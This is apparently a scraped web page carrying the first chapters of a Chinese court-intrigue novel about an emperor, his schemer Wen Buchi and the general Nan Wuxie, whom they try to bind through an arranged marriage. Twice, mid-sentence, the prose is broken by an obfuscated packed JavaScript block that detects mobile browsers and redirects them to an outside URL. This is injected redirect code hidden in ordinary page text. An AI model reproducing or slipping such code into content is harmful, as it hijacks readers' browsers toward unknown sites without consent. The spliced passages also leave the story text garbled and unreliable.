《不问神明》 1. 针锋 楔子 大靖国祚延续一百余年,鼎盛之时,武宗帝威加海内,万邦来朝,开创了一代鸿均盛世。 然天下大势,盛极必衰,自当今圣上李昇的皇祖父一朝起,大靖国运渐显颓势,至其父在位的普兆年间,内忧外患接踵而至,四方烽烟渐起。 或天佑大靖,或乱世之中终有英雄崛起,就在这纷争不断之时,军中杀出了个南淳风。 南淳风本是西陲边军一名寻常校尉,却在与关外部落的鏖战中锋芒毕露,彼时战局胶着,他率八百轻骑突入敌阵,千里踏沙奔袭,不仅救出被困的西陲总参军,更于万军之中顺手摘了敌将首级。 南淳风自此威名响彻边关,踏上名将之路。 外寇退去之日便是内隙渐显之时,南家打得一拳开,引得百拳来,而可叹的是,这拳头不止来自关外。 面向皇权的卑躬向来容不得半点对视,随着南淳风步步擢升,最终执掌三军帅印,九边关塞虽渐趋稳固,四方蛮夷不敢来犯,众将士只知有“侯爷”,不知有“朝廷”,如此尾大不掉,这位权倾朝野的统帅,终于成了朝堂上下夜不能寐的心病。 猜疑和忌惮似燎原之火疯长,南淳风一边为国驰骋沙场,一边又需时刻提防千里之外吹来的鬼火,就连他唯一的儿子南无歇也被留于京师,遭时刻监视,限行为自由,举步维艰。 普兆二十三年冬,大靖皇帝李轲乾龙驭宾天,举国缟素,太子李昇即位,年号——津元。 津元二年,南淳风于北境战死沙场,事发突然,朝野震动,朝中各方的忧虑瞬间压过忌惮,当然也包括龙椅之上的李昇。 南淳风死了,谁去打这场仗? 朝堂之上,百官噤声,这“统帅”之位无人敢应,不仅因战事胜负难料,更因众人都心知肚明:接过这帅印,便是要做下一个南淳风。 为将之道,最是两难,赢不得功高震主,输不起丧师辱国。 李昇几经权衡,最终将目光投回了南家,十七岁的南无歇临危受命墨绖持戎,承袭父亲爵位的同时,也接过了染血的帅印。* 或许真的是大靖气运未尽,也或许是南家血脉注定与沙场结缘,这个尚未及冠的少年独掌三军,短短一年光景,北境来犯之敌尽数伏诛。 南无歇一战成名,“南无歇”三字如同当年其父一般响彻朝野,大靖边关重归太平。 津元八年,东海一战告捷,倭寇初退,南无歇本欲借海防之由继续远离朝堂纷争,然而随着一道不容违逆的圣谕送达东海大营,南无歇的自在日子宣告结束。 当夜,他盯着诏书上朱红的玺印默然许久,烛火被风吹的跳动,在明黄锦缎上投下明暗光影。 直到蜡烛烧下去了大半截,南无歇终是松开了紧攥了一整晚的拳头。 “传我口令,”他眼色沉了沉,“咱们,班师回朝。” “是。”副将卫清禾抱拳领命道。 第一章 津元八年深秋,明月悬于皇城上空,紫宸殿内,年轻帝王李昇正歪在御案后的龙椅里闭目养神,烛火摇曳,殿内宫人皆屏息垂首,呼吸声都不曾有。 良久,老太监王德全踱步而入,在李昇身侧附耳说了句什么,他才缓缓睁开眼睛,淡淡道:“宣。” 王德全躬身退出,片刻后引着一位身段风流、面若桃花的公子入殿。 那人站定后从容行礼:“臣温不迟,叩见陛下。” 李昇随意摆了摆手,王德全立即会意,带着宫人们悄无声息地退出了大殿。 殿门轻阖,空旷的大殿内只余君臣二人。 李昇始终不开口,他沉默地审视着温不迟,那人亦垂首不语,二人皆是无话,静谧在殿中蔓延。 少顷,温不迟似是决定了什么,他抬眸启唇,嗓音清润,“陛下,侯爷战功彪炳,该歇了。” 李昇闻言,神色未动,依旧看不出喜怒,他没有立刻回应,只低眉把玩着案上那方青玉镇纸。 沉寂的气氛僵持了片刻,李昇才缓声开口,却仍是没有抬眸,“南爱卿为我大靖立下汗马功劳,温卿此言,岂不寒了将士们的心?” “再如何功绩累累,臣就是臣。”温不迟不疾不徐,“此番东海平乱,侯爷劳苦,将歇何不是君恩?” “哦?”李昇抬眼,看着垂眸的温不迟,只见那人也缓缓抬眸,二人目光相接,随后帝王唇角微扬,温不迟便也噙着浅笑重新垂首。 “温卿啊......”李昇拂着镇纸轻笑,“倒真是朕肚里的知音。” 秋风起,殿内烛火微微晃了晃,映着二人晦暗不明的神色。 李昇屈指轻敲案几,又问道:“军中一直有消息传出,说如今他南无歇变得狠绝无比,嗜杀成性,与从前判若两人,温卿以为这里头几分真,几分假?” 李昇说的“从前”,是南无歇儿时在京师为质的那几年。 父亲功高,他便注定不能显露才华、博取声名,那些年他谨言慎行,处处束手束脚,长年累月的压抑,说他内心因此扭曲,一朝释放变得杀伐狠绝,确是有可能。 但若言他是为日后而韬光养晦,亦有可能。 温不迟略作沉吟,解道:“侯爷离京已五载有余,当年少年如今心性如何,臣不敢妄断,只是...” 他抬眼一笑,“若说侯爷当真会以‘嗜杀成性’的真面目示人,臣是断然不信的。” 是了,就是这个理,当所有将士都异口同声评价他南无歇“狠绝无道”时,那他就绝不会是一个狠绝无道之人,毕竟,不得军心的将领早就死在战场上了。 况且,一个臭名昭著的无道将军总比一个手握军权的外姓侯让人放心,敢以真面目示人?说笑了。 李昇将镇纸往案上一搁,似是不悦。 “接着说。” 温不迟微微躬身:“臣以为,无论侯爷是否刻意欺瞒,如今既奉诏回京,不如借此机会,让侯爷回归平静。” 殿外秋风掠过殿门,发出呜咽般的声响。 李昇忽然笑了:“温卿这是想摘了南家兵权?温不迟,你好大的胆子啊。” “臣不敢。”温不迟心领神会,神色不变,“臣只是觉得,与其猜忌,不如...” “不如什么?” “不如给个恩典。”温不迟轻声道,“比如,赐婚。” 李昇手指一顿,眼中闪过一丝兴趣:“继续说。” 温不迟垂首道:“听闻侯爷至今未娶,陛下若择名门淑女赐之,既显天恩,又可全了君臣之义。” 李昇闻言神色难辨,半晌,他忽然轻笑:“温卿倒是想得周全,只是...” 他缓缓起身,踱至人前,抬手在温不迟的肩膀处捏着,“你觉得他南无歇会认为这是恩典吗?” 温不迟沉默片刻:“雷霆雨露,俱是君恩。” “先帝留给朕的这中空朝堂,世家盘踞,边将坐大。”李昇手中继续用力,声音却异常平静,“温不迟,你既知道朕心中如何思虑,竟还将他们双方往一起凑,你当真是朕的忠臣啊。” 温不迟被他捏的吃痛,死死咬着牙关忍着,“陛下勿忧,世家对南家的忌惮只怕比陛下更甚,六大世家互相牵制互相掣肘,倘若真有其一与南家联姻,届时其他五家士族当如何?他们断不会坐以待——” 李昇手上力道又重三分,温不迟话音戛然而止,却仍艰难吐出最后一句:“陛下坐收渔利就好。” 话音落地,李昇手上渐渐松了力,随后皮笑肉不笑,说:“温卿懂朕。” “为陛下分忧,是臣之责。” *** 温不迟回到府中时已是子时,他径直走向书房,在茶台后坐下,一只手搭在上面,指尖轻轻叩着台面。 烛火摇曳,一室静谧,只能听见有一搭没一搭的叩响。 须臾,他突然开口:“去查查晁家最近的动向。” 话音一落,阴影处便传来衣料摩擦的细微声响,紧接着一道黑影无声掠出窗外。 不多时,门外响起轻叩,温不迟揉了揉眉心:“进。” 谛听台副使孟枕堂推门而入,欠身行礼:“大人。” “坐吧。” 孟枕堂落座,温不迟执起茶盏,轻啜一口:“南无歇此番回京,朝中和士族总有不安分的,人一多难免声音就杂,有人畏他如虎,有人盼他如星。” 他抬眼看向孟枕堂,手指在杯沿轻轻一搭:“这些聒噪,听着实在烦心。” 孟枕堂会意,低声道:“兵部崔家那边属下时刻盯着,崔尚书还没什么举动,只是这崔公子……” “少年意气,沉不住气,”温不迟声音轻雅,语气平淡,“他与南无歇自幼一起长大,情谊自然非比寻常,只是...”他微微眯眼,“崔尚书竟也由得自家公子这般不知轻重?” “只怕这崔尚书也早已暗中同南无歇取得联络了。” 温不迟浅笑一声,眼底却无半分笑意:“当真是上有所好下必甚焉。” 他再次端起茶盏,吹了吹茶沫,喝空了杯。 二人陷入沉默,孟枕堂思忖再三,终是开口,“大人,温大公子……”他顿了一顿,立刻改口,“温琢岳那边,已经处理妥当了。” 温不迟听到“温琢岳”三字眼神微变,缓缓阖眸,轻轻“嗯”了声。 温家曾贵为六大世家之首,在先帝太傅温酒泉掌权时显赫一时,然而自温酒泉病逝后,这个百年望族便日渐式微,现任家主温酒泉的弟弟温酒丞无官无职,膝下四子中,除幼子温不迟外,其余三人皆资质平平难当大任。 静默片刻,温不迟再次开口,冷声续道:“温家就不该握有权势,” 他微微一顿,语气更冰,“他温酒丞,该死。” 这最后一句轻声细语落地,孟枕堂暗暗瞧了一眼自家大人,随后低垂下眼眸,不再言语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526709|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少顷,温不迟整理了一下思绪,缓声道:“今日叫你来,倒还有一事。” “大人请说。” “陛下方才特意问了句,几日后南无歇带亲军进城时该走哪个门,”温不迟抬眼看向孟枕堂,“你怎么看?” 孟枕堂思忖片刻,“按礼制和规格来说,自是应当走明德门,南侯爷的身份地位摆在那,怕是没得……”他没有继续说下去,探寻似的看着温不迟。 “我能不知道规矩?”温不迟略显疲惫,轻轻歪靠在扶手上,“陛下能不知道规矩?” 既然都知道规矩,那这问题要考虑的就绝不是规矩。 许是李昇心思较小,又或是太急于给南无歇一个下马威,但他偏偏又好面子,不肯主动开口说任何不利于君臣关系的旨意,非要借他人之口。但无论是谁在朝堂上提议更换入城的城门,也无论是以什么借口更换,面上都不会好看,毕竟满朝文武没人是傻子,谁会不懂这心思究竟是何意?更何况这等幼稚的小把戏,只要届时对方面上不显,那便没有丝毫杀伤力。 但即便如此,温不迟又能如何?李昇想做,李昇想让他做,他不得不做,他必须想办法做。 半晌,孟枕堂看着自家大人正垂着眼眸,头疼似的用指尖抵着太阳穴,一脸沉静,于是他低声救主:“大人,属下认为,走哪个门或许并不重要。” 温不迟闻声抬眼,烛火在瞳中跳动,看起来倒像是回过一丝精神,“说下去。” *** 几日后辰时初,南无歇率亲兵抵京。 明德门内,黑压压的禁军夹道驻足,道旁挤满探头探脑的百姓,却无人敢喧哗。 紧闭的城门外,为首一匹纯黑战马不断喷吐白气,马背上的男子抬手卸下了盔,露出棱角分明的侧脸。 南无歇望向那扇沉重城门,晨光拂过他微扬的唇角,投下一道深邃阴影,不知他在笑什么。 身侧的卫清禾低声道:“侯爷,这…这是何意?” “无妨,”南无歇嘴角咧得更高,“总得看看李昇准备用什么迎接咱们。” 言毕一拉缰绳,马儿踏出蹄子,朝城门而去。 距门不过十余丈时,城门才缓缓自内开启。 南无歇定睛望去,只见朱漆门洞之下,一道竹青官袍的身影徐步走出,广袖迎风拂动,面若春晓之花,眉眼却凝着冷霜。 “侯爷,是御前的人。”卫清禾低声提醒。 南无歇目光掠过那道身影,随即轻夹马腹趋前,直至人马相对,勒缰驻马。 晨阳从他身后斜切过来,马上之人的影子正好将马下之人完全笼罩,阴影下的温不迟缓缓抬眸,玉冠更衬得他清雅出尘。 只见他仰头含笑,声如润玉:“侯爷鞍马劳顿,陛下特命下官在此恭迎。” 南无歇并没有下马,高高在上的睥睨着马下之人,将那人从头到脚扫视了一番。 他自然清楚温不迟是何许人,枢密院副使、谛听台掌印官、今圣手中的利刃。 此刻李昇手中的这把刀正温温柔柔地指到了他的面前。 “温大人,”三字掷于风中,听不出情绪,“久闻大名。” 温不迟迎上他的视线,唇边笑意清浅:“侯爷乃大靖功臣,下官贱名能入尊耳,实属荣幸。” 随即侧身一让,“城门已开,侯爷请。” 其实城门前的这出说到底也依旧不算高明,无非就是昭示:即便你南无歇抵达门前,能否入内仍须看城中人的意愿。 但再如何也比另启他门稍显体面。 卫清禾缓缓按住剑柄,却见自家侯爷忽然笑了。 南无歇随手将马鞭抛给他,大氅在秋风中飞扬,“那就,有劳温大人了?” “分内之事。”温不迟颔首一笑,侧身引路。 人马错身刹那,两人眼底俱是波澜不惊的深潭。 染尘的战马踏过城门时,长街两侧瞬间陷入欢呼声浪中,挺拔如松的年轻侯爷策马徐行,指节勒着缰绳,风尘掩不住眉宇间的锐气。 副将卫清禾紧随其后,警惕地扫视着攒动的人群。 人声鼎沸间,南无歇一骑当先,温不迟的青帷马车则不紧不慢跟行于左,仅一步之遥。 “侯爷离京之时,这道旁的槐树想必才碗口粗细。”温不迟掀帘,语声清越,穿透鼎沸人声。 南无歇闻声并未转头:“温大人对草木倒是关切。” “下官更关切的,是人。” 话音飘散的瞬间,马蹄倏然一滞,南无歇终于侧首,正迎上温不迟探出车窗的面容。 秋阳在那双桃花眼里碎成波光,底下却沉着不见底的寒潭。 “难怪温大人得圣上器重,”南无歇握缰的手微微一拉,“平日里没少‘关切人’吧?” 车帘倏地落下,温不迟的声音隔着一层青绸传来: “为陛下分忧罢了。” 2. 玲珑 宫门在望时,温不迟骤然叫停车驾。 他掀帘下车,广袖扫过车辕,步态从容地走向南无歇,“侯爷,前头的路,得劳您移步了。” 宫规本是如此,可经他这温吞语调一说,倒像是裹着层薄冰的提醒,泛着几分警告意味。 “理当如此。”南无歇长腿一跨,利落翻身下马。 他比温不迟高出近半头,此刻垂眸看过去,目光含笑,直落对方眉眼,“有劳温大人前头引路。” “侯爷先请。”温不迟低眉颔首,青衫微侧,让开了通往宫门的御道。 宸极殿前的金柱被阳光映得刺眼,殿内铜鹤里的檀香袅袅升起,缠绕着龙椅上明黄的身影。 南无歇跟在温不迟身侧,二人同时迈过门槛,抬眼望去,李昇正捻着案上的佛珠,见他进来,那串珠子便停了。 “臣南无歇,参见陛下。”他单膝跪地,双手抱拳。 “爱卿平身。”李昇的声音从龙椅上传来,听不出亲疏,“东海风浪大,能将倭寇肃清,不愧是南家儿郎。” 南无歇撩袍起身,动作利落得不带半分拖泥带水,“臣分内之事,不敢居功,皆赖陛下天威,将士用命。” 他目光直迎龙椅,语气也听不出半分波澜。 李昇轻笑一声,继续转动起手里的佛珠,“五年不见,南卿倒是活泛了不少。” 南无歇唇角似勾非勾地扬了扬:“臣在关外待久了,性子野,怕是入不了陛下的眼。” 这话里的“野”字说得坦荡,倒像是故意往人耳里钻。温不迟站在一旁,端着副平和的笑意,却将南无歇的每一个字都细细研磨。 “为陛下镇守疆土是臣分内之事。”南无歇继续说,“只是海疆风浪大,总不及京城安稳。” 李昇低笑一声,将佛珠往案上一搁:“朕也盼着天下安稳,好让爱卿这样的栋梁能多歇几日。” 他顿了顿,话锋忽然转了,“说起来,爱卿今年已二十有三,”他看向温不迟,像是随口问道:“昨日朝堂上说的事,南爱卿或许还不知晓?” 温不迟上前一步,躬身道:“臣正欲禀明侯爷,陛下念及侯爷尚未婚配,有意从世家贵女中择一贤淑者,为侯爷主持婚事,一来全君臣之谊,二来也让侯府添些人气。”他声音温润,字字都裹着蜜糖。 南无歇眉梢微挑,转向李昇,“陛下厚爱,臣心领了,只是臣久在沙场,性子粗砺,恐配不得那名门贤淑。” 他顿了顿,目光忽然转向温不迟,带着点笑意,“再说,臣这双手沾了太多血,怕是会污了人家姑娘的清贵。” “这哪里话?爱卿握刀的手皆是为了我大靖,”李昇身子微微前倾,语气带着几分好友般的关切,“再者说,南家世代忠良,香火怎能耽搁?朕思来想去,晁家三小姐才貌双全,与你倒是相配。” 温不迟温声接上:“晁家世代亦是武将,晁逍尘晁将军镇守南疆多年,说起来,也算得上是侯爷的左膀右臂,如此亲上加亲,岂不喜事?” 这君臣二人打了一手好算盘,晁家同南家都为武将出身,两位手握军权的一旦要联姻,剩余几大士族甚至是百官都必定会不择手段地阻止,因此,这婚定然是接不成的,并且如此一来,晁、南两家皆会受到世家们的重创,兵权乃权之根本,他们二人无论谁倒了,对龙椅上那位只有好处,没有坏处。 南无歇心头微动,面上却不动声色地抬眼,恰好对上温不迟投来的目光。 只见那双桃花眼里盛着笑意,仿佛在说“分忧罢了”。 南无歇回视过去,眼底翻涌着一层兴致之浪,勾起唇角,像是接了什么天大的恩典。 “陛下厚爱,臣万分感念,”他微微垂首,声音不高不低,“只是臣刚从海疆归来,一身尘俗未洗,恐唐突了晁家小姐,此事……容臣稍作整备,再听陛下圣裁?” 李昇盯着他看了片刻,忽然笑了:“也好,南爱卿刚回来,是该歇歇,此事不急,你且先回府安顿。”他挥了挥手,“三日后,朕在御花园设宴,为爱卿接风。” 南无歇目光清朗,不显一丝不满,视线却直逼龙椅,“谢陛下。” 说完,他抱拳告退,转身时与温不迟擦身而过。 南无歇脚步不停,用只有两人能听见的声音道:“多谢温大人的好意。” 温不迟看着他离去的背影,眼底的笑意淡了些,轻声回了句:“侯爷客气了。” 待南无歇出了殿门,李昇才再次转动起佛珠,他看向温不迟:“他这是什么意思?这就应下了?” 温不迟躬身道:“侯爷是个有数的,这赐婚的饵他接了,但咬不咬钩,得看他乐意。” “看他乐意?”李昇嗤之以鼻,他思忖片刻,再次看向温不迟,“你说,他会不会阳奉阴违?” 温不迟垂眸道:“若是真就顺从了,那他就不是南无歇了,他敢应,臣都不敢信。” 他顿了顿,补充道,“但他既肯回京,至少目前,还不想与陛下撕破脸。” 李昇哼了一声,没再说话。 他们二人确实都未曾想到,南无歇竟丝毫不曾推诿,这反倒让先前准备的那些话没了说出口的机会。 殿内的檀香依旧袅袅,却仿佛多了几分说不清的紧张。 *** 从宸极殿出来,秋阳正好,晒得南无歇脊背发暖,李昇的那点盘算那都打到明面上了,他南无歇岂会看不明白?又想保住名声,又想收了臣子们手里的权,贪愎喜利,灭国杀身之本也。 李昇无趣,着实无趣。 倒是温不迟那副春风拂面的样子,躲在柔水之处,掩于皇权骨节,藏着的钩子够利,跟这样的人打交道,他南无歇感兴趣。 出了宫门,南无歇让卫清禾带着亲兵先回侯府,自己则揣着手,沿着大街慢慢晃荡。 街面上人声鼎沸,比五年前更热闹了些,南无歇拐进一条巷弄,见墙根下有个卖糖画的摊子,老者正用糖稀勾勒出一条鳞爪分明的龙,跟前围了几个垂涎的孩童。 他站着看了片刻,饶有兴致的掏了银子买下,随后一路信步,从朱雀大街转到西市,又绕到护城河边。 岸边的柳树叶子黄了大半,风一吹便簌簌往下落,沾在水面上,随波漂远。 突然,一声清亮的呼喊自身后传来,带着点少年人的莽撞,“永辞哥!永辞哥!” 南无歇回头,就见个身着粉白锦袍的身影朝他直冲过来,速度快得像头没拴住的小兽。 还没等他站稳,对方已经结结实实撞进他怀里,双臂死死环抱住他的腰,力道大得像是要把他腰斩。 “永辞哥!你可算回来了!”崔始颉把脸埋在他肩窝,声音闷闷的,带着点哽咽,“我还以为你这辈子都不回这破京城了!” 南无歇被他勒得闷笑一声,抬手拍了拍他后背,“松手,喘不过气了。” 他语气平淡,眼底却漾开了藏不住的暖意。 这小子还是老样子,一点没改那毛躁性子。 崔始颉这才松开手,退开半步,眼睛亮晶晶,上下打量他,又伸手戳了戳他胳膊上的肌肉,啧啧称奇:“永辞哥,你真的壮了好多!在东海是不是天天打架?我听爹说你把倭寇打得哭爹喊娘,真的假的?” 少年人一连串的问题砸过来,带着毫不掩饰的崇拜。 南无歇抬手揉了揉崔始颉的头发,把那精心束好的发冠揉得歪了些,“刚回来,带你去喝杯茶?” 崔始颉立刻点头,像只得了指令的小雀,蹦到他身侧:“好啊好啊!我知道城西有家新开的茶馆,茶点做得特别好,就是……” 他挠了挠头,“就是有点贵,我上个月偷偷去了一次,被我爹发现,还骂我败家。” 南无歇看着他窘迫的样子,唇角微扬:“跟我出来什么时候让你花过银子。” 两人并肩沿着河岸往前走,崔始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526710|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颉叽叽喳喳说个不停,从朝堂上的趣事说到哪家的点心铺子换了新厨子,南无歇偶尔应一声,大多时候只是听着。 秋风吹起他的衣袍,也吹散了宸极殿里那点沉郁的算计。 李昇想困住他,温不迟想算计他,那就让他们先忙着,他南无歇有的是时间,慢慢看,慢慢玩。 他不急,一点都不急。 城西的茶馆临着条窄巷,门脸不大,檐下悬着串红灯笼,风一吹便轻轻晃荡。 二人拾阶而入,堂倌见了崔始颉,先是一愣,随即堆起笑来:“崔公子来了?里面请里面请。” 崔始颉熟门熟路引着南无歇上了二楼雅间,临窗坐下,窗外正对着巷内那棵老槐树,黄叶落了满地,看着倒有几分静趣。 “永辞哥你看,这茶盏是汝窑的呢。”崔始颉捧着个天青色茶盏转着圈看,眼睛圆圆,“我跟你说,前几日我爹在朝上跟户部那老头吵起来了,就为了你手底下北境将士冬衣的事,气得回来摔了三个茶杯,都是官窑的,可惜了……” 南无歇执壶倒茶,热气氤氲了他的眉眼,崔始颉絮叨朝堂琐事,他含着笑听,崔始颉心性纯良,虽生在官宦家,却半点没染上那些弯弯绕绕,像株没经历过风霜的新竹,直挺挺地长着。 “说起来,永辞哥,陛下真给你赐婚了?”崔始颉忽然压低声音,凑近了些,“我昨日听我爹跟我娘念叨,说晁家那位小姐——” “喝茶。”南无歇将一盏茶推到他面前,打断了他的话头,语气平淡,“陛下的意思,还没定数。” 崔始颉“哦”了一声,虽还有些好奇,却也知趣地没再追问,只转而说起城外的围场,说等过些日子秋猎,定要跟他比试骑射。 正说着,雅间门被轻轻叩了叩,堂倌的声音在外头响起:“崔公子,嵇公子说瞧见您了,问能不能进来坐坐?” “嵇舟大哥?”崔始颉眼睛一亮,立刻扬声应道,“快请他进来!” 门被推开,走进来个身着湖蓝锦袍的年轻公子,面如冠玉,嘴角持着恰到好处的笑意,他目光先落在崔始颉身上,“尧吉,老远就见是你,果真没有看错。” 说完,他继而转向南无歇,随即躬身行礼,“在下嵇舟,见过侯爷。” 南无歇抬眸看他,这人眉眼弯弯,笑意温煦,瞧着一团和气,可那双眼深处却像蒙着层薄雾,看不真切。 他微微颔首示意,却没有吭声。 崔始颉实在是很简单干净,他并没察觉他的两位好哥哥对视第一眼时那股若有似无的审视与判断,他更不知道他阿舟哥的这句“见过侯爷”究竟意味着什么,在他这里,他作为两位哥哥的中间人,那就是需要介绍并热络起来的。 “阿舟,你怎么在这儿?”他拉着嵇舟坐下,“快来见过我永辞哥,南无歇!他刚从东海回来!” 随后转向南无歇,“永辞哥,这是嵇舟,他爹是吏部嵇老尚书!” “久仰侯爷威名,”嵇舟落座,“当年侯爷北境一战,斩将夺旗,可是我等少年辈的楷模。” 他说着,亲自执壶给南无歇添了茶,“前几日听闻侯爷回京,本想登门拜访,又怕叨扰,没想到竟在此处巧遇,倒是缘分。” 这话说的真诚,既不隐藏我想主动寻你的意图,也否认了今日茶楼是我故意为之的谋划。 南无歇指尖叩了叩茶盏,没接他的话,只看向崔始颉:“你们常在此处碰面?” “是啊,”崔始颉大大咧咧道,“阿舟知道的新鲜事多,跟他在一块儿有意思得很。” 嵇舟笑了笑,目光在南无歇脸上转了一圈,似是随意地问道:“听闻陛下有意为侯爷赐婚晁家?若真是如此,那可真是天作之合,晁小姐才名远播,与侯爷正是相配。” 南无歇抬眸,对上他的视线,这双眼睛里的笑意盛得恰如其分,不会满得令人不适,也不会假得令人生厌。 可南无歇就是莫名生厌。 3. 分桃 南无歇唇角微勾,语气听不出喜怒:“嵇公子消息倒是灵通,只是陛下随口一提,当不得真。” “侯爷说笑了,”嵇舟笑意更深,“陛下金口玉言,既是提了,总有几分成真的道理。再说,晁家在军中威望不低,若能与侯爷结亲,于侯爷而言,亦是助力。” 这话看似在为南无歇打算,实际上却刻意强调了晁逍尘在他南无歇统辖的军队中的地位,隐隐透着几分挑拨。 南无歇没接话,只端起茶盏浅啜一口。 茶是好茶,可惜被这满室的机锋搅得失了味。 南无歇瞥了眼身旁浑然不觉的崔始颉,正兴高采烈地往嘴里塞着这桌子上的茶点,像只不知藏着鹰隼的林子里,只顾着啄食的雀儿。 “永辞哥,你觉得阿舟说得对不对?”崔始颉忽然转头问他。 南无歇放下茶盏,淡淡道:“陛下若真有此意,我自当遵旨。”他顿了顿,目光扫过嵇舟,“倒是嵇公子,似乎对各家婚事格外上心?” 嵇舟脸上的笑意不变:“只是随口闲聊罢了,侯爷莫怪。” 窗外秋风卷着落叶飘过,雅间里一时静了静,南无歇看着嵇舟,这人八面玲珑,一看就是嵇家精心教出来的人物。六大世家盘根错节,互相制衡又互相勾连,嵇家如今身为世家之首,此刻凑上来,未必是冲着他南无歇的面子。 “这京城果然热闹。”南无歇低笑一声,放松地往倚背一靠,目光惬意地投向窗外的街景。 这看似随口一句,倒让嵇舟执杯的手顿了一顿。 茶盏悬在唇边半寸,嵇舟眼底那层薄雾似被风拂动了一瞬,随即又归了平静。 他将茶盏轻轻搁在案上,笑道:“侯爷久在边关,许是忘了京城的光景,这里看着繁花似锦,实则风吹草动都能掀起三尺浪,比不得边关坦荡。” 这嵇舟,说着“不坦荡”,但这话答得倒是万分坦荡,既隐隐点出京城的复杂,又像是在好意提醒的同时,认下了这“搅弄风云”的算计。 南无歇挑了挑眉,“坦荡有坦荡的好处,热闹也有热闹的方便,” 他转头看向嵇舟,眸光里带着点漫不经心的锐,“比如,能在茶馆里听些外头听不到的话,倒也省了四处打探的功夫。” 嵇舟脸上的笑意僵了僵,随即又舒展开,只是那笑意不及眼底:“侯爷说笑了,在下不过是些寻常见闻,当不得‘打探’二字。” 一旁的崔始颉终于察觉出几分不对,挠了挠头:“永辞哥,你们在说什么呢?怎么听着怪怪的。” 南无歇转头看他,语气缓和了些:“没什么,在说京里的新鲜事。” 他伸手拍了拍崔始颉的肩膀,“你刚才说城外围场的秋猎,定在何时?” 崔始颉眼睛立刻亮了,把刚才的疑虑抛到脑后:“下月初!我爹说这次秋猎陛下也会去,到时候能见到好多武将呢!永辞哥你一定要去,让他们瞧瞧你的本事!” 南无歇不置可否,却没有回答崔始颉,而是将目光再次投回嵇舟身上。 只见嵇舟正垂眸看着茶盏里的浮沫,手指轻轻摩挲着杯壁,像是在琢磨什么。 感受到室内一静,他抬眼笑道:“秋猎确是盛事,届时京中权贵子弟都会去,侯爷若去了,定是全场的焦点。说起来晁家小姐骑射也很是出色,若能在猎场见上一面,倒是美事。” 绕来绕去,又绕回了赐婚的事上。 南无歇低笑一声,端起茶盏一饮而尽,茶味的苦涩终于在舌尖漫开,他将茶盏往案上一放,发出轻响:“嵇公子对晁家小姐倒是了解。” “只是略有耳闻。”嵇舟欠了欠身,“毕竟晁家与我嵇家同在京城,抬头不见低头见的。” “哦?”南无歇眉梢微挑,“六大世家之间,倒是比我想的要亲近。” 这话一出,嵇舟的脸色终于有了明显的变化。六大世家互相制衡是公开的秘密,谁都不愿承认私下有过多牵扯,南无歇这话,无异于点破了那层窗户纸。 他勉强笑了笑:“不过是些寻常交集,谈不上亲近。” 南无歇没再追问,只站起身:“时辰不早了,我该回府了。” “啊?永辞哥,咱们不再坐会儿啦?”崔始颉也跟着起身,有些不舍。 “不了,”南无歇理了理衣袍,“刚回来,还有些事要料理。”他看了眼嵇舟,“嵇公子慢用。” “侯爷慢走。”嵇舟也站起身,拱手相送。 南无歇转身下楼,崔始颉跟在后面喋喋不休,说定了秋猎前要去找他,又问他侯府缺不缺人手,恨不得立刻搬过去同住。 南无歇听着他的絮叨,脚步轻快了些。走到茶馆门口,他回头望了一眼二楼雅间的窗户,窗帘被风吹得微微晃动,隐约能看见嵇舟独坐窗前的身影。 他勾了勾唇角,带着崔始颉往巷外走去。 “永辞哥,你是不是不喜阿舟?”崔始颉终于忍不住问道,“我刚才看你俩说话怪怪的。” 南无歇低头看他,少年人眼里满是坦诚的疑惑,他抬手揉了揉崔始颉的头发:“没有。” *** 南侯府的朱漆大门虚掩着,南无歇推门而入,门轴发出轻微的年久失修的声响。 庭院里积着层黄叶,卫清禾正指挥着仆役清扫,见他回来,立刻放下手里的活计迎上来:“侯爷。” “都安顿好了?”南无歇抬脚跨过门槛,大步往里院走。 “回侯爷,亲兵都安置在西跨院了,府里上下也收拾妥当,”卫清禾跟在他身后,声音压得低了些,“有人在府外盯着,明里暗里共十三个。” 南无歇嗤笑一声,随手解下腰间的佩剑递给一旁的侍女,剑穗上的坠子晃了晃:“让他们盯着吧,咱们刚回京,总得让人家放心不是?” 他踱进正厅,刚坐下,侍女便奉上热茶,氤氲的热气里,他忽然想起什么,抬眼问卫清禾:“乌野那边有消息吗?” “今早收到的信,说楠楠在南边玩得高兴,得晚些日子才能回。”卫清禾这话的语气里添了几分柔和,“乌野说路上安稳,让侯爷放心。” 南无歇端着茶盏的手顿了顿,眼底漾开暖意。南楠那孩子是三年前在陇西捡的,当时缩在死人堆里,只剩一口气,如今倒被养得活泼起来。 “让他多带些人手,仔细照看着。”他呷了口茶,语气平淡,“日后回了京也是,别让京里这些乌烟瘴气沾着孩子。” “是。” 卫清禾应着,见他神色松快,终于忍不住提了正题:“侯爷,陛下赐婚晁家的事……” “你也听说了?”南无歇挑眉侧目看他,随后移开目光轻笑一声,“这温不迟把消息撒得够广的啊。” “京里都传遍了,”卫清禾眉头拧得紧,“晁家虽是将门,这些年晁大公子却渐渐往士族里靠,陛下这是……” “想把咱们架在火上烤呢,”南无歇接过话头,语气漫不经心,“南家掌兵权,晁家镇边关,两家若联姻,可不就成了所有人的眼中钉?到时候不用他李昇动手,自然有人扑上来撕咬。” 